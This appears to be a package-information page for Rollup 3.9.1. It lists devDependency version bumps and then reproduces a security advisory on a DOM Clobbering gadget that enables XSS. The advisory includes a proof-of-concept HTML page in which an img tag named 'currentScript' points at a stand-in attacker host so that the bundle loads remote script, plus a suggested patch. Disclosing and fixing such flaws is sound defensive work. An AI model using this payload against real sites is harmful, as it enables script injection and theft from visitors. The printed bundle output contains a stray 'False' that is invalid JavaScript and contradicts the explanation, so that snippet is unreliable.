Rollup version 3.9.1 marks a subtle yet noteworthy update over its predecessor, version 3.9.0, offering refinements that could impact developers leveraging this ES module bundler. The primary distinctions reside within the devDependencies, signaling modifications in the tooling and build pipeline rather than core functionality. Most notably, there are upgrades to several developer dependencies that can improve the developer experience. Acorn moves from 8.8.0 to 8.8.1, husky from 8.0.1 to 8.0.2, mocha from 10.0.0 to 10.2.0, tslib from 2.4.0 to 2.4.1, eslint from 8.25.0 to 8.31.0, terser from 5.15.1 to 5.16.1, core-js from 3.25.5 to 3.27.1, fs-extra from 10.1.0 to 11.1.0, inquirer from 9.1.3 to 9.1.4, typescript from 4.8.4 to 4.9.4, @types/node from 14.18.32 to 14.18.36, lint-staged from 13.0.3 to 13.1.0, concurrently from 7.4.0 to 7.6.0, @rollup/plugin-json from 5.0.0 to 6.0.0, @rollup/plugin-alias from 4.0.0 to 4.0.2, @rollup/plugin-buble from 1.0.0 to 1.0.1, eslint-plugin-unicorn from 44.0.2 to 45.0.2, @rollup/plugin-replace from 5.0.0 to 5.0.2, @rollup/plugin-commonjs from 23.0.0 to 24.0.0, @rollup/plugin-typescript from 9.0.1 to 10.0.1, @typescript-eslint/parser from 5.40.0 to 5.47.1, @rollup/plugin-node-resolve from 15.0.0 to 15.0.1 and @typescript-eslint/eslint-plugin from 5.40.0 to 5.47.1. Developers should also note the bump in @rollup/plugin-json which often is used to allow to import json files in Javascript and Typescript code. While seemingly incremental, these updates often incorporate bug fixes, performance enhancements, and security patches within the respective tools. For developers, upgrading to 3.9.1 may resolve existing compatibility issues with newer Node.js versions or related build tools. Checking the changelogs of updated packages is suggested to understand specific fixes.
All the vulnerabilities related to the version 3.9.1 of the package
DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS
We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
rollupWe have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.
var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)
The output bundle.js is shown in the following code snippet.
'use strict';
var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);
Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>rollup Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(relativePath)}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
);
const getUrlFromDocument = (chunkId: string, umd = false) =>
`${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
chunkId
)}', document.baseURI).href)`;